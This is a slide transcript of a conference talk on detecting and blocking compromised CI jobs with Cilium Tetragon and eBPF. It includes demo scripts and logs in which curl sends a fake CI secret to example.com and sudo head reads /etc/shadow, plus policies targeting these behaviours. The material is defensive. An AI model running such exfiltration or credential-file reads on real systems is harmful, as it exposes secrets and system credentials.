Detecting Compromised CI with eBPF and Cilium Tetragon

As seen at KubeCon Japan 2026. The accompanying demo is available at github.com/lizrice/tetragon-ci

Transcript

1. Detecting Compromised CI with eBPF and Cilium Tetragon Liz Rice | Isovalent @ Cisco github.com/lizrice/tetragon-ci KubeCon + CloudNativeCon Japan July 2026 July 2026 @lizrice.com 1
2. CI systems execute code Repo contents Runner CI executes build scripts, tests… Filesystem access @lizrice.com Network access Credentials (?) 2
3. CI systems execute code Repo contents Dependencies Runner CI executes build scripts, tests… Filesystem access @lizrice.com Network access Credentials (?) 3
4. CI systems execute code Repo contents Dependencies PR contents Runner CI executes build scripts, tests… Filesystem access @lizrice.com Network access Credentials (?) 4
5. CI systems execute code Repo contents Runner CI executes build scripts, tests… Filesystem access @lizrice.com Network access Dependencies PR contents Can we use Tetragon to spot: • Unexpected executables • Unexpected file access or network connections from expected (but compromised) executables Credentials (?) 5
6. What is Cilium Tetragon? Runtime security with eBPF Kubernetes-aware… …but doesn’t require Kubernetes YAML policies Observe or prevent out-of-policy behaviour @lizrice.com 6
7. Monitor mode Install Tetragon and Tetragon policies Run CI builds and tests Out of policy events generate logs Report Tetragon logs @lizrice.com 7
8. Enforce mode Install Tetragon and Tetragon policies Run CI builds and tests Out of policy events generate logs and blocks/kills process �� Report Tetragon logs @lizrice.com 8
9. GitHub Action Workflow runs-on: ubuntu-24.04 steps: - uses: actions/checkout@v5 - run: <CI jobs> @lizrice.com 9
10. GitHub Action Workflow runs-on: ubuntu-24.04 steps: - uses: actions/checkout@v5 - uses: ./.github/actions/tetragon-setup - run: <CI jobs> - uses: ./.github/actions/tetragon-report if: ${{ always() }} @lizrice.com Load tracing policies Install Tetragon Start compact event stream Report results Report compact event log 10
11. tetragon-ci/.github/workflows/tetragon_policy.yml - name: Install Tetragon uses: ./.github/actions/tetragon-setup with: enforce_policies: ${{ env.TETRAGON_ENFORCE }} - name: Run demo CI activity shell: bash --noprofile --norc -euo pipefail {0} env: CI_DEMO_SECRET: demo-token-not-a-real-secret run: | bash "${DEMO_SCRIPT}" - name: Report Tetragon activity uses: ./.github/actions/tetragon-report if: ${{ always() }} @lizrice.com Some details omitted for clarity 11
12. Secret exfiltration demo Install Tetragon policy detecting tcp_connect CI job runs demo/exfiltratesecret.sh Uses curl to exfiltrate CI_DEMO_SECRET tcp_connect detected Report Tetragon logs @lizrice.com 12
13. Bundled example policy stops curl opening socket apiVersion: cilium.io/v1alpha1 kind: TracingPolicy metadata: name: "curl-network" spec: kprobes: - call: "tcp_connect" syscall: false args: - index: 0 type: "sock" selectors: - matchBinaries: - operator: "Postfix" values: - "/curl" matchActions: - action: Sigkill @lizrice.com eBPF program on tcp_connect SIGKILL if binary is curl 13
14. Output written by tetragon-report action Enforce mode is False @lizrice.com Describes this demo and expected result 14
15. process and exit events for every execution e.g. demo CI script start and stop @lizrice.com 15
16. process and exit events for every execution e.g. demo CI script start and stop Most events here are process or exit @lizrice.com 16
17. Secret exfiltration! @lizrice.com 17
18. connect event from out-of-policy behaviour (Enforce mode is False) @lizrice.com 18
19. With enforcement mode Job failed Enforce mode is True @lizrice.com 19
20. With enforcement mode 💥 exit runnervm5mmn9 /usr/bin/sleep 3 0 🚀 process runnervm5mmn9 /usr/bin/cat /tmp/tetra.pid 💥 exit runnervm5mmn9 /usr/bin/cat /tmp/tetra.pid 0 💥 exit runnervm5mmn9 /usr/bin/bash --noprofile --norc -e -o pipefail /home/runner/work/_temp/76809009-5f92-45e1-bf11-1ab86dbf9812.sh 0 🚀 process runnervm5mmn9 /usr/bin/bash --noprofile --norc -e -o pipefail /home/runner/work/_temp/87b79730-0de4-4d84-8088-51c63c8b38a4.sh 🚀 process runnervm5mmn9 /usr/bin/bash ./demo/exfiltrate-secret.sh 🚀 process runnervm5mmn9 /usr/bin/mkdir -p /home/runner/work/_temp/tetragon-ci 💥 exit runnervm5mmn9 /usr/bin/mkdir -p /home/runner/work/_temp/tetragon-ci 0 🚀 process runnervm5mmn9 /usr/bin/curl -fsS --max-time 10 https://example.com/?ci_demo_secret=demo-token-not-a-real-secret 🔌 connect runnervm5mmn9 /usr/bin/curl tcp 10.1.0.227:40124 -> 104.20.23.154:443 💥 exit runnervm5mmn9 /usr/bin/curl -fsS --max-time 10 https://example.com/?ci_demo_secret=demo-token-not-a-real-secret SIGKILL 💥 exit runnervm5mmn9 /usr/bin/bash ./demo/exfiltrate-secret.sh 137 💥 exit runnervm5mmn9 /usr/bin/bash --noprofile --norc -e -o pipefail /home/runner/work/_temp/87b79730-0de4-4d84-8088-51c63c8b38a4.sh 137 🚀 process runnervm5mmn9 /usr/bin/bash --noprofile --norc -e -o pipefail /home/runner/work/_temp/ab71effb-8cb0-4d48-9e85-cc30f64cfeec.sh 🚀 process runnervm5mmn9 /usr/bin/sudo tetra --server-address unix:///var/run/tetragon/tetragon.sock tracingpolicy list 🛑 CAP_SYS_ADMIN 🚀 process runnervm5mmn9 /usr/local/bin/tetra --server-address unix:///var/run/tetragon/tetragon.sock tracingpolicy list 🛑 CAP_SYS_ADMIN 💥 exit runnervm5mmn9 /usr/local/bin/tetra --server-address unix:///var/run/tetragon/tetragon.sock tracingpolicy list 0 🛑 CAP_SYS_ADMIN 💥 exit runnervm5mmn9 /usr/bin/sudo tetra --server-address unix:///var/run/tetragon/tetragon.sock tracingpolicy list 0 🛑 CAP_SYS_ADMIN 💥 exit runnervm5mmn9 /usr/bin/bash --noprofile --norc -e -o pipefail /home/runner/work/_temp/ab71effb-8cb0-4d48-9e85-cc30f64cfeec.sh 0 🚀 process runnervm5mmn9 /usr/bin/bash --noprofile --norc -e -o pipefail /home/runner/work/_temp/40388508-2c7f-4e38-abc5-b49b3637edb4.sh 🚀 process runnervm5mmn9 /usr/bin/cat /tmp/tetra.pid 💥 exit runnervm5mmn9 /usr/bin/cat /tmp/tetra.pid 0 🚀 process runnervm5mmn9 /usr/bin/sleep 1 💥 exit runnervm5mmn9 /usr/bin/sleep 1 0 🚀 process runnervm5mmn9 /usr/bin/cat /tmp/tetra_compact.log 💥 exit runnervm5mmn9 /usr/bin/cat /tmp/tetra_compact.log 0 🚀 process runnervm5mmn9 /usr/bin/awk "END { print NR }" /tmp/tetra_compact.log @lizrice.com 20
21. N Secret exfiltration demo Install Tetragon policy detecting tcp_connect CI job runs demo/exfiltratesecret.sh CI fails: network connection prevented by Tetragon policy Uses curl to exfiltrate CI_DEMO_SECRET tcp_connect detected Report Tetragon logs @lizrice.com 21
22. Sensitive file access demo Install Tetragon policy detecting security_file_ permission CI job runs demo/sensitive-f ile.sh head accesses /etc/shadow security_file_ permission detected Report Tetragon logs @lizrice.com 22
23. Demo accessing a sensitive file a#!/usr/bin/env bash set -euo pipefail echo "::group::Sensitive file access" echo "This simulates a build step reading a sensitive host file from the runner." workspace="${RUNNER_TEMP:-/tmp}/tetragon-ci" mkdir -p "$workspace" printf 'normal-looking test output\n' > "$workspace/test.txt" Normal file access is OK echo "Attempting sensitive file access..." sudo head -c 64 /etc/shadow >/dev/null Sensitive file access should be blocked echo "Sensitive file access scenario completed." echo "::endgroup::" @lizrice.com 23
24. Bundled example sensitive file policy apiVersion: cilium.io/v1alpha1 First selector block kind: TracingPolicy metadata: - matchBinaries: name: "sensitive-file" - operator: "Postfix" spec: values: kprobes: - "/sudo" /sudo executable - call:matchArgs: "security_file_permission" ... - index: 0 selectors: operator: "Prefix" values: - "/etc/shadow" - index: 1 operator: "Equal" values: - "4" matchActions: - action: NoPost @lizrice.com accessing /etc/shadow Second selector block - matchArgs: - index: 0 operator: "Prefix" values: - "/etc/shadow" - "/root/.ssh" matchActions: - action: Sigkill Any executable accessing sensitive files Process gets killed No action 24
25. 🚀 process runnervm5mmn9 /usr/bin/bash ./demo/sensitive-file.sh 🚀 process runnervm5mmn9 /usr/bin/mkdir -p /home/runner/work/_temp/tetragon-ci 💥 exit runnervm5mmn9 /usr/bin/mkdir -p /home/runner/work/_temp/tetragon-ci 0 🚀 process runnervm5mmn9 /usr/bin/sudo head -c 64 /etc/shadow 🚀 process runnervm5mmn9 /usr/bin/head -c 64 /etc/shadow 📚 read runnervm5mmn9 /usr/bin/head /etc/shadow 💥 exit runnervm5mmn9 /usr/bin/head -c 64 /etc/shadow SIGKILL 💥 exit runnervm5mmn9 /usr/bin/sudo head -c 64 /etc/shadow SIGKILL 💥 exit runnervm5mmn9 /usr/bin/bash ./demo/sensitive-file.sh 137 sudo is allowed 🛑 CAP_SYS_ADMIN 🛑 CAP_SYS_ADMIN 🛑 CAP_SYS_ADMIN 🛑 CAP_SYS_ADMIN 🛑 CAP_SYS_ADMIN head file access is stopped @lizrice.com 25
26. Could this help when a build or scanning tool is compromised? @lizrice.com 26
27. Trivy scanning Trivy needs network access to download vulnerability database But compromised Trivy extracted credentials over the network @lizrice.com 27
28. Trivy phase separation Trivy downloads database cache Checkout code Install Tetragon policy detecting trivy network access Run Trivy scan using cached database Report Tetragon logs @lizrice.com 28
29. Trivy phase separation workflow - data cache phase jobs: steps: - name: Warm Trivy cache … sudo apt-get install -y trivy …. trivy --debug fs --download-db-only "$download_root" trivy --debug fs --download-java-db-only "$download_root" - name: Upload warmed Trivy data uses: actions/upload-artifact@v7.0.1 with: name: trivy-cache path: ${{ env.TRIVY_CACHE_DIR }} if-no-files-found: error retention-days: 1 @lizrice.com 29
30. Trivy phase separation workflow - scan phase protected-trivy-scan: - uses: actions/checkout@v5 - name: Download Trivy data uses: actions/download-artifact@v8.0.1 with: name: trivy-cache path: ${{ env.TRIVY_CACHE_DIR }} - name: Install Trivy binary run: | ./demo/trivy-scan.sh install-only @lizrice.com - name: Install Tetragon uses: ./.github/actions/tetragon-setup - name: Run protected Trivy scan run: | ./demo/trivy-scan.sh protected-scan - name: Report Tetragon activity uses: ./.github/actions/tetragon-report if: ${{ always() }} 30
31. Trivy phase separation workflow - scan phase run_protected_scan() { echo "::group::Run protected Trivy scan" echo "Running Trivy with its warmed cache. This phase should not need network access." mkdir -p "${TRIVY_CACHE_DIR}" export TRIVY_SKIP_VERSION_CHECK=true export TRIVY_DISABLE_TELEMETRY=true trivy --debug fs \ --scanners vuln,secret,misconfig \ --severity HIGH,CRITICAL \ --exit-code 0 \ --skip-db-update \ --skip-check-update \ --skip-java-db-update \ --skip-version-check \ --disable-telemetry \ . echo "::endgroup::" @lizrice.com 31
32. Could a malicious PR modify the policies? @lizrice.com 32
33. CI systems execute code Runner Filesystem access @lizrice.com Repo contents Dependencies PR contents CI installs Tetragon, executes build scripts, tests… Network access Credentials (?) 33
34. Bundled and local policies tetragon-setup always installs bundled policies If these are in a different repo, the PR can’t change them @lizrice.com 34
35. Example: using tetragon-ci from another repo - name: Install Tetragon uses: lizrice/tetragon-ci/.github/actions/tetragon-setup@v0.1.1 - name: Build containers-from-scratch Installs bundled policies from tetragon-ci/.github/actions/ run: go build -o containers-from-scratch ./main.go tetragon-setup/policies - name: Run project check run: bash ./ci/check.sh and local policies from .github/tetragon-policies in this repo - name: Report Tetragon activity if: ${{ always() }} uses: lizrice/tetragon-ci/.github/actions/tetragon-report@v0.1.1 @lizrice.com 35
36. Should you use this in your repos? @lizrice.com 36
37. Notes Supplied policies are examples only One size can’t fit all Use monitor mode to test policies before enforcement Branch protection rules can require the Tetragon CI job to succeed @lizrice.com 37
38. Notes Supplied policies are examples only One size can’t fit all Use monitor mode to test policies before enforcement Branch protection rules can require the Tetragon CI job to succeed Try it! github.com/lizrice/tetragon-ci @lizrice.com 38
39. Learn more about Cilium, Tetragon and eBPF Book Signing eBee Quest 🗓 July 30 • 13:30 - 14:10 📍 Isovalent Booth S1 🗓 July 29 • 19:00 - 21:30 Register at isovalent.com/events/ @lizrice.com 39
40. Thank you! @lizrice.com 41